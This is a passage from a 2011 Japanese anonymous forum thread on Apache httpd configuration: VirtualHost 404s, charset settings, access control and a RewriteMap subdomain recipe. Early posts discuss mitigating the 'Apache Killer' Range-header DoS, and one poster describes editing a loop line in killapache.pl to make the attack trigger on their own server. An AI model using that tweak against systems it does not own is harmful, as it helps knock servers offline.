11/09/01 20:38:22.72
ちゃんとプロセス数増やしてメモリ潰さないと止まらないっしょ
588:名無しさん＠お腹いっぱい。
11/09/01 21:50:55.78
>>586
TCP Wrapper が使いたいとか？
589:名無しさん＠お腹いっぱい。
11/09/01 22:15:07.02
>>583
ここが参考になるかも
URLﾘﾝｸ(blog.tokumaru.org)
590:名無しさん＠お腹いっぱい。
11/09/01 22:40:19.55
583です。
MaxClientsを下げて10にしましたが、ビクともしません。
そもそもkillapache.plの
28行目 for ($k=0;$k<1300;$k++) {
を
for ($k=5;$k<1300;$k++) {
としないと
206 Partial Content
が返りませんでした。200が返りました。
2.2.xでは、何もしなくても206が返りました。
再現方法が違うのでしょうか？
591:名無しさん＠お腹いっぱい。
11/09/01 22:45:57.52
>>590
URLﾘﾝｸ(people.apache.org)
592:名無しさん＠お腹いっぱい。
11/09/01 23:09:15.40
>>591
583です。
そんな今さら・・・
Apache 1.3 is NOT vulnerable.
えっ！？
UPDATE2までしか見ていませんでした。
ありがとうございました！
593:名無しさん＠お腹いっぱい。
11/09/01 23:40:13.17
わかりました。apache_1.3.42 に戻します。
594:名無しさん＠お腹いっぱい。
11/09/02 01:22:26.29
1.3系試してないねぇ
URLﾘﾝｸ(www.jpcert.or.jp)
595:名無しさん＠お腹いっぱい。
11/09/02 08:36:48.74
え？1.3系は大丈夫だったの？
596:名無しさん＠お腹いっぱい。
11/09/03 12:23:58.91
URLﾘﾝｸ(huge.shit.com) -> 200 OK
URLﾘﾝｸ(huge.shit.com) -> 404 Not Found
URLﾘﾝｸ(<)<)上記ドメインのIP>/test.php?param=xxx -> 200 OK
Virtualhostへのアクセスで存在するファイルにGETパラメータを渡すと404になる。
こんな現象に悩まされてるんだけど、これなんで？誰か教えて！
597:名無しさん＠お腹いっぱい。
11/09/03 12:39:44.97
ログ読んでみたら。
598:名無しさん＠お腹いっぱい。
11/09/03 12:45:11.61
ログは File is not found が並んでるだけなんだよね。
ていうか、パラメータ渡すと not found になる設定ってあるのかな。
昨日まで正常だったのに、いきなりこの現象が発生してわけわからんのです。
599:名無しさん＠お腹いっぱい。
11/09/03 13:44:17.55
何も変更してないならrestartしてみたら？
600:名無しさん＠お腹いっぱい。
11/09/03 13:48:55.99
restartはしたんすよ。変わらずです。
おれ以外にも管理者はいるから誰かが
何かを書き換えた可能性はなくはないんだよね。
?でパラメータ渡すと別ファイルとして認識されちゃうってことだよね多分これ。
601:名無しさん＠お腹いっぱい。
11/09/03 14:14:14.82
書き換えた人に聞いた方が早くない？
confの日付で実際更新されてるか分かるだろうし。
602:名無しさん＠お腹いっぱい。
11/09/03 14:21:53.08
>>596
Rewrite使ってる？
Apache Killerの件で設定変えたとか。
603:名無しさん＠お腹いっぱい。
11/09/03 15:36:13.73
>>602
Rewriteは、してないね。
killapache対策はしたけど、数日前なので、タイミングは合致しないなー。
604:名無しさん＠お腹いっぱい。
11/09/03 15:45:48.19
POSTした場合はどうなりますか？
605:名無しさん＠お腹いっぱい。
11/09/03 16:34:37.48
普通設定いじる前にバックアップとらない？
diffすればいいんじゃない？
606:名無しさん＠お腹いっぱい。
11/09/03 16:57:16.34
>> 601
誰が何を変更したのかがわかる状況ではないんだよね。confの更新日はkillapache対策の時だね。昨日じゃない。
ためしにRange周りの設定をオフってみたけど関係ないみたい。
>> 604
FirefoxのHackbarってアドオン使ってPOSTしてみた限りでは問題なかべおん。
てかさ、
/js/jquery.js
だとアクセスできて
/js/jqueyr.js?test
でNot Foundになるってどおゆうことなんだろう。んなことある？
607:名無しさん＠お腹いっぱい。
11/09/03 18:53:08.15
>>606
違うブラウザではどんな？同じ動作？
608:名無しさん＠お腹いっぱい。
11/09/03 19:19:20.79
>>606
うだうだ書いてるヒマあったら他の管理者どもに話を訊けよアホ
あと設定ファイルの変更履歴とれやボケ
609:名無しさん＠お腹いっぱい。
11/09/03 19:35:31.64
まずは管理体制の見直しからだな。
610:名無しさん＠お腹いっぱい。
11/09/03 19:37:16.20
これを機にIISに切り替えよう。
611:名無しさん＠お腹いっぱい。
11/09/03 22:37:24.77
>>607
どのブラウザでも一緒だね。
IP直打ちとVirtualHostで動作が違うってのがポイントだと思ってずっと調べてるけど、未だ解決できず。
>>608
confに変更はない。他の管理者は連絡とれず。やーここの人なら「そりゃおめー原因はあれだよ」ってなるかなと
思ってさ。自力で調べつつ、わらにもすがる思いで聞いとります。
612:名無しさん＠お腹いっぱい。
11/09/03 23:28:57.17
>>611
config晒せば。
何らかの意図があって設定を変更しているのなら
設定を戻せば良いって話でもない気がするけど。
613:名無しさん＠お腹いっぱい。
11/09/03 23:43:40.87
>>611
>IP直打ちとVirtualHostで動作が違うってのがポイントだと思ってずっと調べてるけど、未だ解決できず。
そこじゃないかもしれんぞな。
/js/jqueyr.js?test
↑↑↑↑
尻尾つきで、POSTするとどない？エラー？
614:名無しさん＠お腹いっぱい。
11/09/04 00:07:46.90
>>613
こんな結果です。
[尻尾あり]
URLﾘﾝｸ(xxx.example.com)
POST /js/jquery.js?test HTTP/1.1
HTTP/1.1 404 Not Found
[尻尾なし]
URLﾘﾝｸ(xxx.example.com)
POST /js/jquery.js HTTP/1.1
HTTP/1.1 200 OK
615:名無しさん＠お腹いっぱい。
11/09/04 00:42:20.85
>>614
POSTとGET関係ないと。
VirtualHostとの時だけ変なら、
試しに、違うドメインを追加(VirtualHost)して、そっちでも変になりますか？
差し障り範囲(ドメインとか、IPとかXXXして)で、confを見せていただけると、何か分かるかもね。
apacheバージョンとか、組み込んでるモジュールとか
616:名無しさん＠お腹いっぱい。
11/09/06 07:41:07.60
遅ればせながらapache killer対策に取りかかっています
巨大なファイルを扱っていない限りrangeヘッダに非対応でもいいので
RequestHeader unset Range
RequestHeader unset Request-Range
二行追加でよろしいでしょうか？
617:名無しさん＠お腹いっぱい。
11/09/06 08:16:43.48
バージョンチェックも入れました
<IfVersion < 2.2.20>
RequestHeader unset Range
RequestHeader unset Request-Range
</IfVersion>
618:名無しさん＠お腹いっぱい。
11/09/06 14:25:04.79
話の流れに割り込むような形になってしまい申し訳ありませんが、Apache初心者の質問をさせてください。
Apacheにおける環境変数QUERY_STRINGの呼び出しに関する質問です。
Apache上に置いてあるshtml内にGETメソッドのフォームを設置しています。
フォームのテキストボックス内に日本語で文字を入力してsubmitボタンを押し、
新しく表示されたshtml内でSSIを使用して、cgiで環境変数QUERY_STRINGをshtml内に表示しようとしています。
テキストボックスに何も入力しない場合や半角英数字のみを入力した場合は正しく習得され、
cgiによってshtml内に環境変数QUERY_STRINGのデータがしっかりと表示されるのですが、
テキストボックス内に日本語を入力した場合は、shtml内に環境変数QUERY_STRINGの中身が
何もない状態であるかのように表示されてしまいます。つまり、『?』以降が何も表示されないということです。
しかし、テキストボックス内に日本語を入力した場合でも、新しく表示されたshtmlのURLには入力した文字データが
GETメソッドとして正常に受け取られているように表示されています。
AN HTTPDで全く同じshtmlおよびcgiを使用した場合は、日本語を入力してもshtml内にその結果が正しく表示されるので、
Apache内の何かが原因であるのではないかなと考えているのですが、よく分かりません。
お分かりになる方おられましたら、どうかよろしくお願いします。
619:名無しさん＠お腹いっぱい。
11/09/06 15:35:20.59
謙譲語・・
620:名無しさん＠お腹いっぱい。
11/09/06 18:18:46.32
それはわかっておりますｗ
shtmlがUTF-8じゃないんだろｗ
621:名無しさん＠お腹いっぱい。
11/09/06 21:31:32.29
>>598
LogLevel debug を設定したらヒントが出るかもしれない。
622:名無しさん＠お腹いっぱい。
11/09/06 21:36:14.32
連投ですまん。
あと、>>596 を見て思うのは、
huge.shit.com/test.php?param=xxx のときは
"test.php?param=xxx" というファイルを探しに行ってるんじゃないかと・・・
まぁ、バーチャルホスト内の設定のどこかがおかしいんだろう。
あとは .htaccess が置いてあったりとか。
623:618
11/09/07 01:01:45.37
>>620
おっしゃるとおり、shtmlはUTF-8ではなくShift_JISで作成したものです。
UTF-8のページにしたところ、日本語のデータを表示することができました。
ありがとうございました。
GETを受けるページがUTF-8でなければならないのは、Apacheの仕様なのですか？
Shift_JISでも表示できるように、設定で変更することなどは可能ですか？
AN HTTPDではshtmlがShift-JISで書かれていてもちゃんと表示されていたので、
Apacheだとなぜ表示されないのかよく分からないのですが・・・。
624:名無しさん＠お腹いっぱい。
11/09/07 11:43:32.18
>>622
?が全角
625:名無しさん＠お腹いっぱい。
11/09/07 12:34:26.14
まさかぁ。
626:名無しさん＠お腹いっぱい。
11/09/12 16:53:37.17
>>596
その後どうよ。
627:名無しさん＠お腹いっぱい。
11/09/13 14:52:27.40
2.2.21とな
628:名無しさん＠お腹いっぱい。
11/09/13 16:36:44.83
Apache Killerの余韻はこの辺か ＞ 2.2.21
*) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20.
PR 51748. [<lowprio20 gmail.com>]
*) core: Allow MaxRanges none|unlimited|default and set 'Accept-Ranges: none'
in the case Ranges are being ignored with MaxRanges none.
[Eric Covener]
629:名無しさん＠お腹いっぱい。
11/09/20 12:59:10.14
こんにちは。質問させてください。
お名前.comでドメイン取得
さくらvpsを契約し
var/www/html/rails_app/public
をドキュメントとして
URLﾘﾝｸ(example.com)<)
にアクセスしたときだけ
phpmyadminが表示されるようにするには
どのような設定をすればいいでしょうか？
630:名無しさん＠お腹いっぱい。
11/09/20 13:16:50.42
ｽﾚﾘﾝｸ(linux板:407番)
の人?
631:名無しさん＠お腹いっぱい。
11/09/23 16:36:44.12
ソースからRPMを作ろうとしています
ソース同梱のspecファイル中に
# symlinks for /etc/httpd
とあって、logやrunやmodulesのシンボリックリンクを作ってるんですが
/etc/httpd配下にそんなシンボリックリンクいらなくないですか？
どういう意味があるんでしょうか
632:名無しさん＠お腹いっぱい。
11/09/23 18:05:23.72
>>631
いらないと思うなら作る必要はない。
歴史的に /etc 配下に設定ファイルを集めているだけ
/etc の配下に httpd があれば、設定ファイルを探しやすいってだけだ
/usr/local/httpd とかに全部入れる人だっているんだし
自分だけが触るなら別に何でも良いじゃないの？
他人が触るなら /etc/httpd があった方が、親切
633:名無しさん＠お腹いっぱい。
11/09/26 10:23:38.12
redhat 系では ServerRoot が /etc/httpd になっているので、
symlink がないとモジュールの場所はじめありとあらゆるものが
相対パスで書けなくなるんだよ。
634:名無しさん＠お腹いっぱい。
11/09/26 17:31:11.27
そういう気遣いもドキュメントとか無いサーバいじるときは
$ ps -ef|egrep 'http|apache'
$ /usr/sbin/apache2 -V
って感じでたどっていくね><
635:名無しさん＠お腹いっぱい。
11/09/26 17:41:29.86
話ずれてきたな。
636:名無しさん＠お腹いっぱい。
11/09/29 21:04:06.24
httpd.confでアクセス制限をやろうとしています。
「localhost:8080」からのみアクセス許可したいのですができません。
Order allow,deny
Allow from localhost:8080
とやるとエラーが出てApacheが起動しなくなります。
どなたかご教授を・・。
637:名無しさん＠お腹いっぱい。
11/09/29 21:14:13.21
添付ドキュメント読んでこい
638:名無しさん＠お腹いっぱい。
11/09/29 21:15:50.25
どこの馬の骨かわからん奴に教授などする気はない。
639:名無しさん＠お腹いっぱい。
11/09/29 21:45:40.32
お父さんキツイっす
640:636
11/09/29 21:56:31.63
該当しそうな箇所を読んだけど載ってませんでした。
ポートを指定した場合のケースはググっても見つからないのよ。。
641:名無しさん＠お腹いっぱい。
11/09/29 22:39:15.28
>>640
そのポートで Listen してるんよね。
そしたら、localhost だけAllow にして...
後は、分かるよな。
642:名無しさん＠お腹いっぱい。
11/09/29 22:46:21.35
>>641
それだと403エラーとなってしまいます。
Forbidden
You don't have permission to access / on this server.
<Directory "C:/xampp/Apache/htdocs">
Allow from All
</Directory>
にしたり、Listenを80にすれば普通にアクセスできるのですが。
643:名無しさん＠お腹いっぱい。
11/09/29 23:05:06.03
やりたいことを正しく表現できないお馬鹿さんであり
充実したドキュメントがあっても理解できないお馬鹿さんでもあるという
そんなかんじ？
644:名無しさん＠お腹いっぱい。
11/09/29 23:29:33.45
中学校で習うだろ。
645:636
11/09/29 23:32:43.56
>>642
>Listenを80にすれば普通にアクセスできる
これは間違いでした。以下の設定で「URLﾘﾝｸ(localhost)」にアクセスしても
403エラーとなります。
Listen 80
ServerName localhost:80
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "C:/xampp/Apache/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from localhost
</Directory>
Allow from localhostの部分をAllow from Allとすると「It works!」と出て接続できます。
ポート関係なしにlocalhostからのみアクセス許可することもできません。
646:名無しさん＠お腹いっぱい。
11/09/29 23:42:45.12
>>645
ちょっと、落ち着け。
403になるなら、
DocumentRoot はどこかね。
647:名無しさん＠お腹いっぱい。
11/09/29 23:55:10.08
>>646
済みません、やはり最初ので正しいです。
>>645キャッシュが原因で403エラーとなっていたようで、クイック起動バーから
新しいウィンドウを開くと「It works!」と出て接続できます。
Allow from localhostで「URLﾘﾝｸ(localhost)」はOKということです。
ポートを8080にして「URLﾘﾝｸ(localhost:8080)」でアクセスすると403エラーとなります。
全ブラウザを閉じてからアクセスして確認しました。
Listen 8080
ServerName localhost:8080
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "C:/xampp/Apache/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from localhost
</Directory>
DocumentRoot "C:/xampp/Apache/htdocs"
648:名無しさん＠お腹いっぱい。
11/09/30 00:10:00.39
>>647
8080 でアクセスするとき、error_log に何て出てる？
649:名無しさん＠お腹いっぱい。
11/09/30 00:31:32.37
>>648
たくさんあってどれを挙げればいいかわからないんですがこんな感じのがありました。
[Fri Sep 30 00:12:17 2011] [notice] Child 7976: Starting thread to listen on port 8080.
[Fri Sep 30 00:12:38 2011] [error] [client 127.0.0.1] client denied by server configuration: C:/xampp/Apache/htdocs/
[Fri Sep 30 00:13:50 2011] [notice] Parent: Received restart signal -- Restarting the server.
[Fri Sep 30 00:13:50 2011] [notice] Child 7976: Exit event signaled. Child process is ending.
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 192.168.1.2 for ServerName
それとWindowsファイアウォールを今調べているところです。
650:名無しさん＠お腹いっぱい。
11/09/30 00:41:01.39
エラーログを削除して真っさらにしてやってみました。
[Fri Sep 30 00:38:36 2011] [notice] Parent: Received restart signal -- Restarting the server.
[Fri Sep 30 00:38:36 2011] [notice] Child 6636: Exit event signaled. Child process is ending.
[Fri Sep 30 00:38:36 2011] [notice] Apache/2.2.21 (Win32) configured -- resuming normal operations
[Fri Sep 30 00:38:36 2011] [notice] Server built: Sep 9 2011 10:26:10
[Fri Sep 30 00:38:36 2011] [notice] Parent: Created child process 4464
[Fri Sep 30 00:38:37 2011] [notice] Child 4464: Child process is running
[Fri Sep 30 00:38:37 2011] [notice] Child 4464: Acquired the start mutex.
[Fri Sep 30 00:38:37 2011] [notice] Child 6636: Released the start mutex
[Fri Sep 30 00:38:37 2011] [notice] Child 4464: Starting 64 worker threads.
[Fri Sep 30 00:38:37 2011] [notice] Child 4464: Starting thread to listen on port 8080.
[Fri Sep 30 00:38:45 2011] [notice] Child 6636: All worker threads have exited.
[Fri Sep 30 00:38:45 2011] [notice] Child 6636: Child process is exiting
[Fri Sep 30 00:39:02 2011] [error] [client 127.0.0.1] client denied by server configuration: C:/xampp/Apache/htdocs/
651:名無しさん＠お腹いっぱい。
11/09/30 00:45:16.71
>>650
そこに 403 の原因が書いてるではないか。
652:636
11/09/30 01:11:25.26
今日はもう無理なので寝ます。
いろいろググってみたので明日やってみます。
ヒントを下さってありがとうございました。
653:名無しさん＠お腹いっぱい。
11/09/30 02:24:50.28
unixちゃうやん！Windowsやん！板違いやん！
Apache統合スレ 11 (HTTPServer以外も含む)
ｽﾚﾘﾝｸ(mysv板)
654:名無しさん＠お腹いっぱい。
11/09/30 02:33:04.31
>>636
8080はdst portだろ。
655:名無しさん＠お腹いっぱい。
11/09/30 09:40:34.35
これはひどい。
656:名無しさん＠お腹いっぱい。
11/09/30 10:35:16.09
あるのか知らんが初心者スレに書いたほうがよかったな
657:名無しさん＠お腹いっぱい。
11/10/01 11:17:49.27
接続数制限とかだと最近じゃmod_vlimitというやつが結構良いが使ってる人いる？
ファイル単位で接続数制限かけたいと思ってる
658:名無しさん＠お腹いっぱい。
11/10/09 17:03:05.04
>>657
しらね。
それ系のは、mod_statusのスコアボード見て各プロセスやスレッドが
その瞬間に処理してるURLの中から単純にマッチするものを
カウントしてるだけだから、動作的にはほとんど問題ないかと。
注意すべき点としては、MaxClientsみたいな同時アクセス数の数値を
あまり大きくしている場合は、カウントしなければならない対象も
かなりの数になるんで、オーバーヘッドが高くなる（かも）ってことぐらいかな？
関係ないが、今度はまたmod_proxyにセキュリティホールかｗ
659:名無しさん＠お腹いっぱい。
11/10/11 21:02:51.77
とりあえずpatch当てた…
660:名無しさん＠お腹いっぱい。
11/10/16 14:13:43.19
>>658
ファイル単位で同時接続数見るのはスコアボードじゃできないよ
661:名無しさん＠お腹いっぱい。
11/10/18 07:36:25.84
nginxスレってないの？
662:名無しさん＠お腹いっぱい。
11/10/18 07:45:13.62
ないよ。
663:名無しさん＠お腹いっぱい。
11/10/18 16:28:25.06
>>661
立てろ
664:名無しさん＠お腹いっぱい。
11/10/19 06:50:34.73
いやん
665:名無しさん＠お腹いっぱい。
11/10/19 11:39:18.13
Apacheも最初は読み方が分からなかったが
nginxも相当ぶっとんでるな。
666:名無しさん＠お腹いっぱい。
11/10/19 12:37:28.55
>>665
「にんじんx」?
667:名無しさん＠お腹いっぱい。
11/10/19 13:10:55.14
>>666
惜しい!
668:名無しさん＠お腹いっぱい。
11/10/19 13:58:21.86
Apacheは普通の英単語じゃん。
669:名無しさん＠お腹いっぱい。
11/10/21 11:18:08.93
>>660
あれ？そうだっけ？
Extend何とかの設定入れたら取れたと思ったが… 記憶違いかな。
ってか、スコアボードで取れないとしたら他にどんな実装があるっけ？
モジュール自前で共有メモリに書き出して管理するぐらいだろうか。
670:名無しさん＠お腹いっぱい。
11/10/22 11:04:10.65
Connection closed by foreign host.
telnetして数秒たつとこうなるんだけど
これ無効にしたり、時間伸ばしたりできないの？
教えてください
671:名無しさん＠お腹いっぱい。
11/10/22 11:33:46.52
ちゃんと説明できないバカは一昨日来ればいいと思うの
672:名無しさん＠お腹いっぱい。
11/10/22 11:43:47.08
教えてください
apacheにtelnetし接続して8秒ほどたつと
Connection closed by foreign host.
と出ます教えてください
673:名無しさん＠お腹いっぱい。
11/10/22 11:48:15.88
タイムアウト値を変更したいのかなぁ・・・
674:名無しさん＠お腹いっぱい。
11/10/22 13:41:49.24
>>670
なんでそんなことしたいの。
675:名無しさん＠お腹いっぱい。
11/10/22 14:09:58.39
デフォルト設定のままインターネットに公開はキツいからなぁ
パフォーマンスチューニング系の話題は良い感じに纏めてる先人が多数いらっしゃるから
ググれカス
676:名無しさん＠お腹いっぱい。
11/10/22 16:15:19.35
>>669
スコアボードにr->filenameは保存されない。
なので、ファイル単位で同時接続数調べようと思ったら子プロセス同士でプロセス間通信しないとだめ。
677:名無しさん＠お腹いっぱい。
11/10/22 16:17:07.10
そういう意味では>>657は良くできてる
678:名無しさん＠お腹いっぱい。
11/10/22 16:42:08.96
わからねーのかよ使えねーなクソ
679:名無しさん＠お腹いっぱい。
11/10/22 17:43:43.89
>>678
tcpのセッションの話とapacheのタイムアウトは別物。
680:名無しさん＠お腹いっぱい。
11/10/22 19:20:35.40
コマンド手打ちしたいけどタイピングが超遅いのであろう
681:名無しさん＠お腹いっぱい。
11/10/23 10:39:49.42
先日サーバをレンタルしたのですが
ページ自体が自分の期待する文字コードでファイルを返してくれません。
具体的には、 hoge.html というhtmlページは shift-jis で記述しており
shift-jisで閲覧される事を想定しているのですが、utf-8としてコンテンツが吐き出されている様です。
たとえば、 下記の様な特定のディレクトリにあるファイルのみ（←重要★）
文字コードを変更するにはどうすればよいでしょうか？
hoge_dir/hoge/
hoge_1.html
hoge_2.html
682:名無しさん＠お腹いっぱい。
11/10/23 12:09:59.37
<Directory ...>
AddDefaultCharset ...
</Directory>
683:名無しさん＠お腹いっぱい。
11/10/23 12:59:36.51
>>682
次の２パターンを試してもやはり駄目でした。どこに問題があるのでしょうか？
hoge_dir/hoge/
.htaccess
hoge_1.html
hoge_2.html
【.htaccessの設定】
その①
<Directory .>
AddDefaultCharset Shift_JIS
</Directory>
その②
AddType "text/html; charset=Shift_JIS" sjis
684:名無しさん＠お腹いっぱい。
11/10/23 13:13:27.27
><Directory .>
アホか。よく考えろ。
685:名無しさん＠お腹いっぱい。
11/10/23 13:18:15.60
>>684
そもそも <Directory>はhttpd.cnf とかにしか指定出来ないのではないでしょうか？
うーん文字化けしてしまう。
html ⇒ php にして文字コードを指定すれば文字化けしないんですけど・・・
686:名無しさん＠お腹いっぱい。
11/10/23 18:50:21.11
HTMLヘッダーとHTTPヘッダーと両方確認した？
687:名無しさん＠お腹いっぱい。
11/10/24 02:40:40.53
AddType "text/html; charset=Shift_JIS" html
とかじゃないの
そのhtmlをUTF-8にするのはだめなん？
688:名無しさん＠お腹いっぱい。
11/10/24 14:17:58.37
>>687
AddCharsetというディレクティブもあることも知らずに回答者気取りとかｗｗ
689:名無しさん＠お腹いっぱい。
11/10/24 14:35:40.54
スレ維持乙
690:名無しさん＠お腹いっぱい。
11/10/25 05:37:52.42
デフォルトチャーセットってノンに出来ないっけ？
こんなの設定してる鯖屋は萎えるな。
691:名無しさん＠お腹いっぱい。
11/10/26 05:19:30.01
二つのhttpd.confを比較して、
設定の差分をリストアップするようなソフトがあればおしえてください
692:名無しさん＠お腹いっぱい。
11/10/26 05:27:59.24
>>691
ん？こーゆーの？
URLﾘﾝｸ(www.geocities.co.jp)
693:名無しさん＠お腹いっぱい。
11/10/26 08:28:10.87
>>691
diffコマンド
694:名無しさん＠お腹いっぱい。
11/10/26 10:31:02.56
>>693
ちゃんと-uつけろよ？
695:名無しさん＠お腹いっぱい。
11/10/26 14:24:34.91
>>690
AddDefaultCharset noneって見ただけで笑えるよねｗ
noneって設定値はcharset=noneの設定だからｗ
696:名無しさん＠お腹いっぱい。
11/10/26 20:56:51.64
ノンじゃなくてオフならあるぜ
697:名無しさん＠お腹いっぱい。
11/10/26 21:05:11.46
ナン、て中学校で習ったな
698:名無しさん＠お腹いっぱい。
11/10/26 22:01:20.31
おフランス風ざますのよ
699:名無しさん＠お腹いっぱい。
11/10/26 22:16:13.59
うぃ
700:名無しさん＠お腹いっぱい。
11/10/26 23:51:55.89
ぐぐるな
701:名無しさん＠お腹いっぱい。
11/10/27 10:28:11.25
管理用のIPアドレスからアクセスしてきたら環境変数をセット
その環境変数があれば、指定のディレクトリへのアクセスを許可
ということをやりたいのですが、
環境変数を元にallowするにはどうすればいいですか？
702:名無しさん＠お腹いっぱい。
11/10/27 10:32:12.13
>>701
っ SetEnvIf
703:名無しさん＠お腹いっぱい。
11/10/27 10:33:39.14
または、類似の方法があれば教えてください
管理用のIPアドレス表記があちこちにあるのを避けたいんです
704:名無しさん＠お腹いっぱい。
11/10/27 10:34:29.90
>>702
ありがとうございます。
SetEnvIfを使って、環境変数のセットをするところまではきたのですが
その先がわからないんです・・
705:名無しさん＠お腹いっぱい。
11/10/27 10:44:03.98
アクセスコントロールしたいコンテンツをまとめるとか
.htaccessをリンクで増やして実体は一つにするとか
706:名無しさん＠お腹いっぱい。
11/10/27 10:47:43.34
Allow from all|host|env=env-variable [host|env=env-variable] ...
707:名無しさん＠お腹いっぱい。
11/10/27 11:00:51.75
>>706
あーこれです！
ありがとうございました
708:名無しさん＠お腹いっぱい。
11/10/27 11:57:06.57
mod_layoutってなくなりました？
URLﾘﾝｸ(www.tangent.org)
ここが開発元っぽいけど情報がない
709:名無しさん＠お腹いっぱい。
11/10/27 12:17:13.00
ただのしかばねのようだ
URLﾘﾝｸ(hg.tangent.org)
710:名無しさん＠お腹いっぱい。
11/10/27 14:10:12.36
>>709
ありがとうございます
日付的に更新とまってるのかな？
711:名無しさん＠お腹いっぱい。
11/10/29 23:57:40.29
mod_layoutを必要とするようなサービスは時代の流れから反してるからね
712:名無しさん＠お腹いっぱい。
11/10/31 23:15:51.05
質問させて頂きます。
httpd.confで、VirtualHostを設定しているのですが、
複数のドメインのサブドメインをアスタリスク等で一度に設定できますか？
例えば
hoge.comの場合
www.hoge.com → DocumentRoot /home/hoge/www/
aaa.hoge.com → DocumentRoot /home/hoge/www2/
bbb.hoge.com → DocumentRoot /home/hoge/www3/
hoge.jpの場合
www.hoge.jp → DocumentRoot /home/hoge/www/
aaa.hoge.jp → DocumentRoot /home/hoge/www2/
bbb.hoge.jp → DocumentRoot /home/hoge/www3/
違うドメインですが、
サブドメインが一緒の場合、同じDocumentRootにしたいのです。
一つ一つ設定するよりも、正規表現ぽく設定したいのですが・・
よろしくおねがいします。
713:名無しさん＠お腹いっぱい。
11/10/31 23:21:29.40
hoge.comの中の人ってhoge.jpの管理者と同じ日本人だったのか・・
714:名無しさん＠お腹いっぱい。
11/11/01 00:23:48.73
>>712
vhost_alias
715:名無しさん＠お腹いっぱい。
11/11/01 00:29:21.32
hoge.jp は私の持っているドメインです。勝手に例示に使わないでください。
716:名無しさん＠お腹いっぱい。
11/11/01 00:43:50.98
>>714
717:712
11/11/01 00:47:15.07
>>714
ありがとうございます。
調べてみたら、mod_vhost_alias は
aaa.hoge.com → /home/hoge/aaa/
bbb.hoge.com → /home/hoge/bbb/
としかできないんですよね？
aaa.hoge.com → /home/hoge/www1/
bbb.hoge.com → /home/hoge/www1/
ccc.hoge.com → /home/hoge/www2/
のようには、難しいですかね？
718:名無しさん＠お腹いっぱい。
11/11/01 00:53:43.55
ServerAlias
719:712
11/11/01 01:02:53.21
>>718
>>712に書いてあるような、hoge.comやhoge.jp等々の設定は、
ドメインごとに設定をしなければならないってことですかね。
ドメイン横断でVirtualHostをすること自体が間違っているんですかね？
720:名無しさん＠お腹いっぱい。
11/11/01 09:53:24.66
自分で設定しないとしたら
どういう基準で判断させるつもり?
721:720
11/11/01 09:54:37.52
あーすまん、読み違えてた。
722:名無しさん＠お腹いっぱい。
11/11/01 10:30:13.26
>>717
やろうと思えばできるかもしれんが、正規表現ぽく簡単には無理かも。
とりあえずは、www1とかをサブドメインにしておけばやりたいことは
達成できるんじゃないの？
723:名無しさん＠お腹いっぱい。
11/11/01 10:31:59.13
手で書けないほど持ってるドメイン多いのかな。
ならスクリプトとかで生成しちゃえば。
あとおやくそくの注意だけど
実在するドメイン名を例に使っちゃいかんよ。
724:712
11/11/01 11:24:08.65
>>722 >>723
ありがとうございます。
手でかけないほどじゃないですが、新しいドメインを運用する際に、
apacheのconfをいじりたくは無かったので、聞いて見ました。
個別に設定することにします。
今後はexample.comとかにします。
725:名無しさん＠お腹いっぱい。
11/11/01 20:00:24.72
>>724
mod_rewrite
726:名無しさん＠お腹いっぱい。
11/11/02 05:45:31.42
>>712
ちょっと興味があって、で思ったより簡単にできたので紹介
※ 長文注意
* httpd.conf(一部省略、log は確認の為とりあえず 10、本運用では 0 に)
※ ServerName は wildcard 使えないはず(未確認)。
※ セキュリティ面の考慮はしてないです。何か問題あるかも
※ RewriteMap はファイルを変更すると即時(apacheの再起動など無く)反映されます。
<VirtualHost *:80>
ServerAdmin webadmin
DocumentRoot /var/www/example/base/
ServerName example.com
ServerAlias *.example.com
ServerAlias *.example.net
RewriteEngine on
RewriteLog "/var/log/httpd/example_rewrite_log"
RewriteLogLevel 10
RewriteMap doc_map txt:/etc/apache/map.txt
RewriteCond %{HTTP_HOST} ^([^.]+).example.(com|net)$
RewriteRule ^/(.*)$ /var/www/example/${doc_map:%1}/$1 [L]
* /etc/apache/map.txt
www www
aaa www2
bbb www3
次に続く
727:名無しさん＠お腹いっぱい。
11/11/02 05:48:04.13
続き
* directory
$ head /var/www/example/*/*.html
==> /var/www/example/base/index.html <==
base
==> /var/www/example/www/index.html <==
www
==> /var/www/example/www2/index.html <==
www2
==> /var/www/example/www3/index.html <==
www3
* result
$ curl -H 'Host: example.com' URLﾘﾝｸ(localhost)
base
$ curl -H 'Host: www.example.com' URLﾘﾝｸ(localhost)
www
$ curl -H 'Host: aaa.example.com' URLﾘﾝｸ(localhost)
www2
$ curl -H 'Host: bbb.example.com' URLﾘﾝｸ(localhost)
www3
$ curl -H 'Host: ccc.example.com' URLﾘﾝｸ(localhost)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
略
=> rewrite_log より /var/www/example//index.html へアクセスしていることを確認
728:名無しさん＠お腹いっぱい。
11/11/02 10:01:58.49
いやいや、こういうのをやらずに簡単にやる方法ってことなんだが
729:名無しさん＠お腹いっぱい。
11/11/02 10:23:28.72
実質5行だが、これで簡単でないって頭大丈夫か？
730:712
11/11/02 10:48:05.47
>>727
ありがとうございます。
なるほど。RewriteEngineでやっちゃうって感じですね。
これだと、サブドメインの追加はconfをいじらないですみますが、
example1.comとかを追加する場合は、confをいじらないとって感じですね。
かなり参考になりそうなので、ちょっといじってやってみます！
ありがとうございます！
731:名無しさん＠お腹いっぱい。
11/11/02 11:02:26.52
>>726
> ※ RewriteMap はファイルを変更すると即時(apacheの再起動など無く)反映されます。
つまり1アクセス毎にファイル読んでるってことだよね。大丈夫なのかな。
732:名無しさん＠お腹いっぱい。
11/11/02 12:45:16.00
ケチるける前にドキュメント読めよ。カス。
733:名無しさん＠お腹いっぱい。
11/11/02 13:19:48.80
ケチるける？
.htaccess は1アクセスごと再帰的に読まれてファイルアクセスが増えるから重くなるとはいうね。
例えば URLﾘﾝｸ(example.jp) っていうファイルにアクセスする場合、
/docroot/foo/.htaccess, /docroot/foo/bar/.htaccess, ... と1回のアクセスで最大5個の .htaccess が読まれる。
